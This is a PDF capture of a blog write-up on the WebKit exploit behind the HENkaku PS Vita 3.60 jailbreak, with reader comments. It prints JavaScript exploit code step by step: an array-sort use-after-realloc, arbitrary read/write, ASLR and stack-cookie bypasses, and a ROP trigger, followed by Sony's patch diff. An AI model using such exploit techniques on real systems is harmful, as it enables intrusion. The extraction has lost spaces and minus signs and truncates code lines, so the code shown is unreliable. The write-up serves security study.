Sie sind auf Seite 1von 16

8/20/2016

ExploitingWebKitonVita3.60

goback

ExploitingWebKitonVita3.60
Aug18,2016

Intro
ThisstartstheseriesofwriteupsforHENkakuexploitchain.IlltrynottospoiltheKOTH
challengetoomuchandonlywriteupthepartsthatarealreadyreverseengineered,clarifying
thedetailsthatotherpeoplemissed.However,inthecasethechallengebecomesstaleandno
progressismade,Illprobablypublishthewriteupanyway,sinceIalreadyhaveitwrittenand
itdbeawastetoletitrotinmyrepo.

ThePoC
OurtargetofchoiceforusermodecodeexecutionisWebKit.WebKithasaJavaScriptengine
whichhelpsalotwhenweneedtobypassASLR.WebbrowseronPSVitaalsodoesnot
requirePSNlogin,doesnotautoupdate,allowstoimplementaverysimpleexploitchain(visit
thissiteandpressthatbutton).Itsperfect.
Unlikeon3DS,whichhasnoASLRwhatsoever,VitaWebKithasanacceptableASLRwith
entropyof9bits,whichmakesbruteforceattacksextremelypainful(512reloadsonaverageto
triggertheexploit,thehorror!).Assuch,weneededabettervulnerabilitythanagenericuse
afterfree+vptroverwrite.
Thankstosomepeople,ImanagedtoobtainanicePoCscriptcrashingVitasbrowseronlatest
firmware.NotpresentanywhereonWebKitbugzilla/repo(maybeintherestrictedsection).
SowhatIstartedwithwasthisscript:
varalmost_oversize=0x3000;
varfoo=Array.prototype.constructor.apply(null,newArray(almost_oversize));
varo={};
o.toString=function(){foo.push(12345);return"";}
foo[0]=1;
foo[1]=0;
foo[2]=o;
foo.sort();

IfyourunitonaLinuxhostusingSonysWebKit,youwillseeasegmentationfault.Letslookat
itinadebugger:

https://blog.xyz.is/2016/webkit360.html

1/16

8/20/2016

ExploitingWebKitonVita3.60

Thread1"GtkLauncher"receivedsignalSIGSEGV,Segmentationfault.
0x00007ffff30bec35inJSC::WriteBarrierBase<JSC::Unknown>::set(this=0x7fff98ef8048,own
152
m_value=JSValue::encode(value);
(gdb)bt
#00x00007ffff30bec35inJSC::WriteBarrierBase<JSC::Unknown>::set(this=0x7fff98ef8048,
#10x00007ffff32cb9bfinJSC::ContiguousTypeAccessor<(unsignedchar)27>::setWithValue(
#20x00007ffff32c8809inJSC::JSArray::sortCompactedVector<(unsignedchar)27,JSC::Writ
at../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#30x00007ffff32c4933inJSC::JSArray::sort(this=0x7fff9911ff60,exec=0x7fff9d6e8078)
#40x00007ffff329c844inJSC::attemptFastSort(exec=0x7fff9d6e8078,thisObj=0x7fff9911f
at../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#50x00007ffff329db4cinJSC::arrayProtoFuncSort(exec=0x7fff9d6e8078)at../../Source/
<therestdoesnotmatter>

Turnsout,ithitsunmappedmemorywhileexecutingJavaScriptArray.sortfunction.Butwhats
goingonhere?

Thebug
Letstakealookatthe JSArray::sort method
( Source/JavaScriptCore/runtime/JSArray.cpp ).Sinceourarrayisoftype
ArrayWithContiguous duetohowitwascreated:
Array.prototype.constructor.apply(null,newArray(almost_oversize)); ,wegetinto

the sortCompactedVector function.Heresitsfullimplementation:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

template<IndexingTypeindexingType,typenameStorageType>
voidJSArray::sortCompactedVector(ExecState*exec,ContiguousData<StorageType>
{
if(!relevantLength)
return;

VM&vm=exec>vm();

//ConvertingJavaScriptvaluestostringscanbeexpensive,sowedoitonceup
//Thisisaconsiderableimprovementoverdoingittwicepercomparison,though
//buffer.Besides,thisprotectsusfromcrashingifsomeobjectshavecustomt
//randomorotherwisechangingresults,effectivelymakingcomparefunctioninc

Vector<ValueStringPair,0,UnsafeVectorOverflow>values(relevantLength);
if(!values.begin()){
throwOutOfMemoryError(exec);
return;
}

Heap::heap(this)>pushTempSortVector(&values);

https://blog.xyz.is/2016/webkit360.html

2/16

8/20/2016

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

ExploitingWebKitonVita3.60

boolisSortingPrimitiveValues=true;

for(size_ti=0;i<relevantLength;i++){
JSValuevalue=ContiguousTypeAccessor<indexingType>::getAsValue(data,
ASSERT(indexingType!=ArrayWithInt32||value.isInt32());
ASSERT(!value.isUndefined());
values[i].first=value;
if(indexingType!=ArrayWithDouble&&indexingType!=ArrayWithInt32)
isSortingPrimitiveValues=isSortingPrimitiveValues&&value.isPrimitive
}

//FIXME:ThefollowingloopcontinuestocalltoStringonsubsequentvalueseve
//atoStringcallraisesanexception.

for(size_ti=0;i<relevantLength;i++)
values[i].second=values[i].first.toWTFStringInline(exec);

if(exec>hadException()){
Heap::heap(this)>popTempSortVector(&values);
return;
}

//FIXME:Sincewesortbystringvalue,afastalgorithmmightbetousearadi
//thanO(NlogN).

#ifHAVE(MERGESORT)
if(isSortingPrimitiveValues)
qsort(values.begin(),values.size(),sizeof(ValueStringPair),compareByStrin
else
mergesort(values.begin(),values.size(),sizeof(ValueStringPair),compareByS
#else
//FIXME:Theqsortlibraryfunctionislikelytonotbeastablesort.
//ECMAScript262doesnotspecifyastablesort,butinpractice,browsersperf
qsort(values.begin(),values.size(),sizeof(ValueStringPair),compareByStringPai
#endif

//IfthetoStringfunctionchangedthelengthofthearrayorvectorstorage,
//increasethelengthtohandletheorignalnumberofactualvalues.
switch(indexingType){
caseArrayWithInt32:
caseArrayWithDouble:
caseArrayWithContiguous:
ensureLength(vm,relevantLength);
break;

caseArrayWithArrayStorage:

https://blog.xyz.is/2016/webkit360.html

3/16

8/20/2016

68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

ExploitingWebKitonVita3.60

if(arrayStorage()>vectorLength()<relevantLength){
increaseVectorLength(exec>vm(),relevantLength);
ContiguousTypeAccessor<indexingType>::replaceDataReference(&data,
}
if(arrayStorage()>length()<relevantLength)
arrayStorage()>setLength(relevantLength);
break;

default:
CRASH();
}
for(size_ti=0;i<relevantLength;i++)
ContiguousTypeAccessor<indexingType>::setWithValue(vm,this,data,i,

Heap::heap(this)>popTempSortVector(&values);
}

ThisfunctiontakesthevaluesfromtheJSarray,putsthemintoatemporaryvector,sortsthe
vector,andthenputsthevaluesbackintotheJSarray.
Online37ina for loop,foreveryelementits toString methodiscalled.Whenitscalled
forourobject o ,whathappensnextis:
function(){

foo.push(12345);

return"";
}

Anintegerispushedintothearraythatisbeingsorted.Thiscausesthearrayelementstoget
reallocated.Online81,thesortedelementsarewrittenbackintothearray,however,the data
pointerisneverupdatedwiththenewreallocatedvalue.

metadata

Toillustrateit:

metadata

foo

foo+12345

data

Greyareahereisfree/unallocatedmemory.OnLinuxitactuallyisunmappedafterreallocis
called.Meanwhile,the data stillpointstotheoldmemorylocation.Asaresult,theweb
browsergetsasegmentationfaulttryingtowritetounmappedmemory.
https://blog.xyz.is/2016/webkit360.html

4/16

8/20/2016

ExploitingWebKitonVita3.60

OutofboundsRW
Dependingonthecontents, JSArray objectsmightbestoreddifferentlyinmemory.However,
onesweareoperatingon,arestoredcontinuouslyasmetadataheader(inyellow)plusarray
contents(ingreen).
Thecontentsarejustavectorof JSValue structures.
unionEncodedValueDescriptor{
int64_tasInt64;
doubleasDouble;
struct{
int32_tpayload;
int32_ttag;
}asBits;
};

Themetadataheaderstorestwointerestingfields:

uint32_tm_publicLength;//Themeaningofthisfielddependsonthearraytype,butfor
uint32_tm_vectorLength;//Thelengthoftheindexedpropertystorage.Theactualsize

Ourgoalnowistooverwritebothofthemandextendthearraybeyondofwhatisactually
allocated.
Toachievethat,letsmodifythe o.toString method:
varnormal_length=0x800;
varfu=newArray(normal_length);
vararrays=newArray(0x100);
o.toString=function(){

foo.push(12345);

for(vari=0;i<arrays.length;++i){

varbar=Array.prototype.constructor.apply(null,fu);

bar[0]=0;

bar[1]=1;

bar[2]=2;

arrays[i]=bar;

return"";
}

Ifwegetlucky,hereswhathappens:

https://blog.xyz.is/2016/webkit360.html

5/16

ExploitingWebKitonVita3.60

bar

bar

metadata

bar

metadata

foo

metadata

metadata

metadata

8/20/2016

foo+12345

data

Inthisexample(thatdoesntreflectactuallarraysize),whenthesortedvaluesarewrittenback
usingthe data pointer,metadataheadersofbothsecondandthird bar getoverwritten.
Whatdoweoverwritethemwith?Remember,thatthegreenareaisthevectorof JSValue
objects.Every JSValue objectis8bytes.Butifwefill foo with,forexample, 0x80000000 ,
weonlycontrol4bytes,andtherestisusedupforthe tag .Whatsa tag ?
enum{Int32Tag=0xffffffff};
enum{BooleanTag=0xfffffffe};
enum{NullTag=0xfffffffd};
enum{UndefinedTag=0xfffffffc};
enum{CellTag=0xfffffffb};
enum{EmptyValueTag=0xfffffffa};
enum{DeletedValueTag=0xfffffff9};
enum{LowestTag=DeletedValueTag};

ItshowWebKitJavaScriptCorepacksdifferenttypesintoasingle JSValue structure:itcanbe


anint,aboolean,acell(pointertoanobject),null,undefined,oradouble.Soifwewrite
54321 ,weonlycontrolhalfofthestructure,andtheotherhalfissetto Int32Tag or
0xffffffff .
However,wecanalsowrite double values,like 54321.0 .Thiswaywecontrolall8bytesof
thestructure,butthereareotherlimitations(Somefloatingpointnormalizationcrapdoesnot
allowfortrulyarbitraryvaluestobewritten.Otherwise,youwouldbeabletocrafta CellTag
andsetpointertoanarbitraryvalue,thatwouldbehorrible.Interestingly,beforeitdidallowthat,
whichiswhattheveryfirstVitaWebKitexploitused!CVE20101807).
Soletswrite double valuesinstead.
foo[0]=o;
varlen=u2d(0x80000000,0x80000000);
for(vari=1;i<0x2000;++i)

foo[i]=len;
foo.sort();
u2d / d2u aresmallhelperstoconvertbetweenapairof int anda double :

https://blog.xyz.is/2016/webkit360.html

6/16

8/20/2016

ExploitingWebKitonVita3.60

var_dview=null;
//u2d/d2utakenfromPSA20130903
//wrapstwouint32sintodoubleprecision
functionu2d(low,hi)
{

if(!_dview)_dview=newDataView(newArrayBuffer(16));

_dview.setUint32(0,hi);

_dview.setUint32(4,low);

return_dview.getFloat64(0);
}
functiond2u(d)
{

if(!_dview)_dview=newDataView(newArrayBuffer(16));

_dview.setFloat64(0,d);

return{low:_dview.getUint32(4),

hi:_dview.getUint32(0)};
}

Assuch,ifwenowlookat arrays wewillfindafew JSArray objectsthatareextended


beyondtheirrealboundaryandhavetheirlengthsetto 0x80000000 .
Interestingly,thissuccessfullycorruptsaJSArrayobjectonVitabutcrashesonLinuxhittinga
guardpage.ButthisdoesntmatterbecausewereexploitingVita,notLinux.
Nowwhenwewritetooneofcorrupted bar objects,wecanachieveanoutofbounds
read/writewhichisawesome!ButletsupgradeittoatrulyarbitraryRW.
AnastutereadermightnoticenowthatsinceVitaisa32bitconsoleandwesetlengthto
0x80000000 andevery JSValue is8bytes,wealreadyinfacthavearbitraryRW.However,
wearestillwritingtooffsetsfromtheoriginal bar vectorbase,andhaventleakedanyheap
addressesyet.Inaddition,wecanonlywrite double values,whichissuperinconvenient.

ArbitraryRW
Toobtainarbitraryread/write,Iusedthesametrickasusedbythe2.003.20WebKitexploit,
describedhere.
Spraybuffers:
buffers=newArray(spray_size);
buffer_len=0x1344;
for(vari=0;i<buffers.length;++i)

buffers[i]=newUint32Array(buffer_len/4);

Find Uint32Array bufferinmemory.Startsearchingatsomearbitraryoffsetbeforethe


corruptedbuffers(called arr here)elements.

https://blog.xyz.is/2016/webkit360.html

7/16

8/20/2016

ExploitingWebKitonVita3.60

varstart=0x200000000x11000;
for(;;start){

if(arr[start]!=0){

_dview.setFloat64(0,arr[start]);

if(_dview.getUint32(0)==buffer_len/4){//FoundUint32Array

_dview.setUint32(0,0xEFFFFFE0);

arr[start]=_dview.getFloat64(0);//changebuffersize

_dview.setFloat64(0,arr[start2]);
heap_addr=_dview.getUint32(4);//leaksomeheapaddress
_dview.setUint32(4,0)
_dview.setUint32(0,0x80000000);
arr[start2]=_dview.getFloat64(0);//changebufferoffset
break;

Findcorrupted Uint32Array :
corrupted=null;
for(vari=0;i<buffers.length;++i){

if(buffers[i].byteLength!=buffer_len){

corrupted=buffers[i];

break;

}
}
varu32=corrupted;

NowthatwehavetrulyarbitraryRW,andwehaveleakedsomeheapaddress,whatsnextis:

Codeexecution
Again,theoldtrickwith textarea objectsisusedhere(whyinventnewthings?)First,modify
theoriginal Uint32Array heapspraytointerleave textarea objects:
spray_size=0x4000;
textareas=newArray(spray_size);
buffers=newArray(spray_size);
buffer_len=0x1344;
textarea_cookie=0x66656463;
textarea_cookie2=0x55555555;
for(vari=0;i<buffers.length;++i){

buffers[i]=newUint32Array(buffer_len/4);

vare=document.createElement("textarea");
https://blog.xyz.is/2016/webkit360.html

8/16

8/20/2016

ExploitingWebKitonVita3.60

e.rows=textarea_cookie;
textareas[i]=e;

Usingcorrupted Uint32Array object,finda textarea inmemory:


varsome_space=heap_addr;
search_start=heap_addr;
for(varaddr=search_start/4;addr<search_start/4+0x4000;++addr){

if(u32[addr]==textarea_cookie){

u32[addr]=textarea_cookie2;

textarea_addr=addr*4;

break;

}
}
/*

ChangetherowsoftheElementobjectthenscanthearrayof

sprayedobjectstofindanobjectwhoserowshavebeenchanged
*/
varfound_corrupted=false;
varcorrupted_textarea;
for(vari=0;i<textareas.length;++i){

if(textareas[i].rows==textarea_cookie2){

corrupted_textarea=textareas[i];

break;

}
}

Nowwehavetwoviewsintothesame textarea :wecanmodifyitdirectlyinmemoryusing


our u32 object,andwecancallitsfunctionsfromJavaScript.Sotheideaistooverwritethe
vptrusingviaourmemoryaccessandthencallthemodifiedfunctiontableviaJavaScript.

Mitigation1:ASLR
RememberthatVitahasASLR,whichiswhywehadtocomplicatetheexploitsomuch.But
witharbitraryRWwecanjustleak textarea vptranddefeatASLRcompletely:
functionread_mov_r12(addr){

first=u32[addr/4];

second=u32[addr/4+1];

return((((first&0xFFF)|((first&0xF0000)>>4))&0xFFFF)|((((second
}
varvtidx=textarea_addr0x70;
vartextareavptr=u32[vtidx/4];
https://blog.xyz.is/2016/webkit360.html

9/16

8/20/2016

ExploitingWebKitonVita3.60

SceWebKit_base=textareavptr0xabb65c;
SceLibc_base=read_mov_r12(SceWebKit_base+0x85F504)0xfa49;
SceLibKernel_base=read_mov_r12(SceWebKit_base+0x85F464)0x9031;
ScePsp2Compat_base=read_mov_r12(SceWebKit_base+0x85D2E4)0x22d65;
SceWebFiltering_base=read_mov_r12(ScePsp2Compat_base+0x2c688c)0x9e5;
SceLibHttp_base=read_mov_r12(SceWebFiltering_base+0x3bc4)0xdc2d;
SceNet_base=read_mov_r12(SceWebKit_base+0x85F414)0x23ED;
SceNetCtl_base=read_mov_r12(SceLibHttp_base+0x18BF4)0xD59;
SceAppMgr_base=read_mov_r12(SceNetCtl_base+0x9AB8)0x49CD;

Letstalkabitaboutcodeexecution.OnVitatheresnoJITanditsimpossibletoallocateRWX
memory(OnlyallowedfromthePlayStationMobileapp).Sowehavetowritethewholepayload
inROP.
Theoldexploitsusedsomethingcalled JSoS whichisdescribedhere.However,herethe
browserbecomesreallyunstableaftercorruptingthe JSArray object,sowewanttorunas
littleJavaScriptaspossible.
Asaresult,anewversionofroptoolwaswrittenbyDaveewhichsupportedASLR.Thebasic
ideahereisthatsomewords(awordis4bytes)inroptooloutputnowhaverelocation
informationassignedtothem.Afterrelocatingthepayload,whichisjustaddingdifferentbases
( SceWebKit_base / SceLibc_base /etc)tothesewords,wecanlaunchtheresultingROPchain
normally.

Mitigation2:Stackpivotprotection
Sinceunknownfirmwareversion,thereisnowanadditionalmitigationimplemented:sometimes
thekernelwillcheckthatyourthreadstackpointerisinfactinsideitsstack.Ifthisisnotthe
case,thewholeapplicationgetskilled.
Tobypassthis,weneedtoplantourROPchainintothethreadstack.Andtodothat,weneed
toknowthreadstackvirtualaddress.AndwedontknowitbecauseASLR.
However,wehavearbitraryRW.Theresatonofwaystoleakthestackpointer.Iusedthe
setjmp function.
Hereshowwecallit:
//copyvtable
for(vari=0;i<0x40;i++)

u32[some_space/4+i]=u32[textareavptr/4+i];
u32[vtidx/4]=some_space;
//backupourobj
for(vari=0;i<0x30;++i)

backup[i]=u32[vtidx/4+i];
https://blog.xyz.is/2016/webkit360.html

10/16

8/20/2016

ExploitingWebKitonVita3.60

//callsetjmpandleakstackbase
u32[some_space/4+0x4e]=SceLibc_base+0x14070|1;//setjmp
corrupted_textarea.scrollLeft=0;//callsetjmp

Nowour corrupted_textarea isoverwritteninmemorywith jmp_buf ,whichsomewhere


containsthestackpointer.Later,werestoretheoriginalcontentsasfollows.Thisisdoneso
thatJavaScriptdoesnotcrashthebrowserwhenweattempttodoanythingwiththecorrupted
textarea object:
//restoreourobj
for(vari=0;i<0x30;++i)

u32[vtidx/4+i]=backup[i];

Unfortunately,ifwelookatthe setjmp implementationin SceLibc ,wegethitwithyet


anotherexploitmitigation:

ROM:81114070setjmp
ROM:81114070PUSH{R0,LR}
ROM:81114072BLsub_81103DF2//Returnshighqualityrandom
ROM:81114076POP{R1,R2}
ROM:81114078MOVLR,R2
ROM:8111407AMOVR3,SP
ROM:8111407CSTMIA.WR1!,{R4R11}
ROM:81114080EORSR2,R0//LRisXOR'edwithacookie
ROM:81114082EORSR0,R3//SPisXOR'edwiththesamecookie
ROM:81114084STMIAR1!,{R0,R2}
ROM:81114086VSTMIAR1!,{D8D15}
ROM:8111408AVMRSR2,FPSCR
ROM:8111408ESTMIAR1!,{R2}
ROM:81114090MOV.WR0,#0
ROM:81114094BXLR

Sobasically:
stored_LR=LR^cookie
stored_SP=SP^cookie

Canyouseewherethisisgoing?Wealreadyknow SceWebKit_base ,soweknowthetrue


valueof LR .Usingthemagicofdiscretealgebra:
cookie=stored_LR^LR
SP=stored_SP^cookie
SP=stored_SP^(stored_LR^LR)

Or,inJavaScript:
https://blog.xyz.is/2016/webkit360.html

11/16

8/20/2016

ExploitingWebKitonVita3.60

sp=(u32[vtidx/4+8]^((u32[vtidx/4+9]^(SceWebKit_base+0x317929))>>>0))
sp=0xef818;//adjusttogetSPbase

NowwecanwriteourROPpayloadintothethreadstackandpivottoitwithouttheapplication
beingkilled!

Finally,CodeExecution
First,werelocatetheROPpayload.Remember,howwehavethepayloadandrelocs.Ifyou
lookatpayload.js,thisiswhatyouwillsee:
payload=[2119192402,65537,0,0,1912//anditgoeson...
relocs=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,//...

Everynumberfromthe relocs arrayindicatedhowa payload membershouldberelocated.


Forexample,0meansnorelocation,1isadd rop_data_base ,2isadd SceWebKit_base ,3is
add SceLibKernel_base andsoon.
(AroptoolgeneratedROPchainhastwosections:codeanddata.codeisjusttheROPstack.
dataisstufflikestringsorbuffers. rop_data_base isvaddrofdata. rop_code_base isvaddr
ofcode)
Thenextlooprelocatesthepayloadstraightintothethreadstack:
//relocatethepayload
rop_data_base=sp+0x40;
rop_code_base=sp+0x10000;

addr=sp/4;
//Sincerelocsareappliedtothewholeropbinary,notjustcode/datasections,werep
//thisbehaviorhere.However,wesplititintodatasection(placedatthetopofthe
//andcodesection(placedatstack+somebigoffset)
for(vari=0;i<payload.length;++i,++addr){

if(i==rop_header_and_data_size)

addr=rop_code_base/4;

switch(relocs[i]){
case0:

u32[addr]=payload[i];

break
case1:

u32[addr]=payload[i]+rop_data_base;

break;
/*

skippedmostrelocs
*/
default:

https://blog.xyz.is/2016/webkit360.html

12/16

8/20/2016

ExploitingWebKitonVita3.60

alert("wtf?");
alert(i+""+relocs[i]);

Inthisloop,wesplitthepayloadintotwoparts:codeanddatasections.Wedontwantcodeto
touchdatabecauseiftheyareclose,andcodeisafterdata(whichisthecaseforroptool
generatedROPchains),whenafunctioniscalled,itmightdamageapartofthedatasection
(rememberwhichdirectionthestackgrowsin,andwhichdirectiontheROPchaingoes).
Sooncewearedonerelocatingthedatasection: if(i==rop_header_and_data_size) ,we
switchtorelocatingthecodesection: addr=rop_code_base/4 .
header

header

data

data

code

code

OntheleftishowtheROPchainlookslikewhileitsstoredinthe payload array.Ontheright


ishowtheROPchainiswrittenintothestack.
Finally,letstriggertheROPchain:
//54c8:e891a916ldmr1,{r1,r2,r4,r8,fp,sp,pc}
u32[some_space/4+0x4e]=SceWebKit_base+0x54c8;
varldm_data=some_space+0x100;
u32[ldm_data/4+5]=rop_code_base;//sp
u32[ldm_data/4+6]=SceWebKit_base+0xc048a|1;//pc=pop{pc}
//Thisalert()isusedtodistinguishbetweenthewebkitexploitfail
//andsecondstageexploitfail
//Ifyoudon'tseeit,thewebkitexploitfailed
//Ifyouseeitandthenthebrowsercrashes,thesecondstagefailed
alert("WelcometoHENkaku!");
corrupted_textarea.scrollLeft=ldm_data;//triggerropchain,r1=arg

https://blog.xyz.is/2016/webkit360.html

13/16

8/20/2016

ExploitingWebKitonVita3.60

//Youwon'tseethisalert()unlesssomethingwentterriblywrong
alert("that'sit");

When corrupted_textarea.scrollLeft=ldm_data isdone,ourLDMgadgetwillgetcalled,


duetooverwrittenvtable. R1 willbe ldm_data ,soitwillload SP=rop_code_base and PC
=pop{pc} fromthisbufferandassuchwillkickstarttheROPchain.

Bonus:HowSonypatchedit
SonyregularlyuploadsnewsourcecodeoftheirWebKit,asrequestedbyLGPL,tothispage.
(Unlesstheydonot,inwhichcasetheymightrequireafriendlypokeoveremail).
Diffingthesourcecodebetween3.60and3.61revealsthefollowing(Uselessstuffomitted):

diffr360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp361/webkit_537_73/So
1087,1096c1087,1123
}
};

template<IndexingTypeindexingType,typenameStorageType>
voidJSArray::sortCompactedVector(ExecState*exec,ContiguousData<StorageType>data,u
{
if(!relevantLength)
return;

+}
+};
+
+template<>
+ContiguousJSValuesJSArray::storage<ArrayWithInt32,WriteBarrier<Unknown>>()
+{
+returnm_butterfly>contiguousInt32();
+}
+
+template<>
+ContiguousDoublesJSArray::storage<ArrayWithDouble,double>()
+{
+returnm_butterfly>contiguousDouble();
+}
+
+template<>
+ContiguousJSValuesJSArray::storage<ArrayWithContiguous,WriteBarrier<Unknown>>()
+{
+returnm_butterfly>contiguous();
+}
+
https://blog.xyz.is/2016/webkit360.html

14/16

8/20/2016

ExploitingWebKitonVita3.60

+template<>
+ContiguousJSValuesJSArray::storage<ArrayWithArrayStorage,WriteBarrier<Unknown>>()
+{
+ArrayStorage*storage=m_butterfly>arrayStorage();
+ASSERT(!storage>m_sparseMap);
+returnstorage>vector();
+}
+
+template<IndexingTypeindexingType,typenameStorageType>
+voidJSArray::sortCompactedVector(ExecState*exec,ContiguousData<StorageType>data,u
+{
+data=storage<indexingType,StorageType>();
+
+if(!relevantLength)
+return;
+
1167,1172c1194,1200
CRASH();
}

for(size_ti=0;i<relevantLength;i++)
ContiguousTypeAccessor<indexingType>::setWithValue(vm,this,data,i,values[i

+CRASH();
+}
+
+data=storage<indexingType,StorageType>();
+for(size_ti=0;i<relevantLength;i++)
+ContiguousTypeAccessor<indexingType>::setWithValue(vm,this,data,i,values[i
+

Theynowupdatethe data pointerbeforewritingvaluesintoit.Soevenafterthearraygets


reallocated,itsstillwritingtopropermemory.Thisiswhatcausesthe alert("restartthe
browser") errorifyouattempttorunHENkakuon3.61.Goodjob,Sony.

Conclusion
Thatsitfortoday!IhopeyouenjoyedthiswriteupasmuchasIhatedwritingtheexploit.Later,
inafewmonths/years/centuries,Illbringyousomemorenicewriteups,solookforwardtoit.
SinceIwrotemostoftheHENkakuexploitchain,ImbannedfromparticipatingintheKOTH
challenge:(,butatleastyougettoenjoythewriteups:).

6Comments

https://blog.xyz.is/2016/webkit360.html

15/16

8/20/2016

ExploitingWebKitonVita3.60

TypeCommentHere(atleast3chars)

Name(optional)

Email(optional)

Website(optional)

Submit

Anonymous 15hoursago

ThiswriteupisfantasticandIfeellikeI'velearnedalotinreadingit.Thanksfortaking
thetimetodothis.
2

Reply

Ayu 13hoursago

Dittohere.Itsinterestingtoseehowthesekindofthingshappen.
2

Reply

m6mb3rtx 10hoursago

Greatarticle!
LookingforwardtoreadthenextpartoftheHENkakuseries(nicenameXD),doesitendwhen
yougetr00taccess?
"Goodjob,Sony."LOL
|

Reply

Wololo 5hoursago

Thanksforthewriteup,superappreciated
|

Reply

Casavult 4hoursago

Amazingread.Thanksforthiswriteup!
|

Reply

MilegGai 3hoursago

IlikedreadingthiseventhoughIhavenoideawhat'sgoingon.
|

Reply

SubscribeviaRSS|GitHub

https://blog.xyz.is/2016/webkit360.html

16/16

Das könnte Ihnen auch gefallen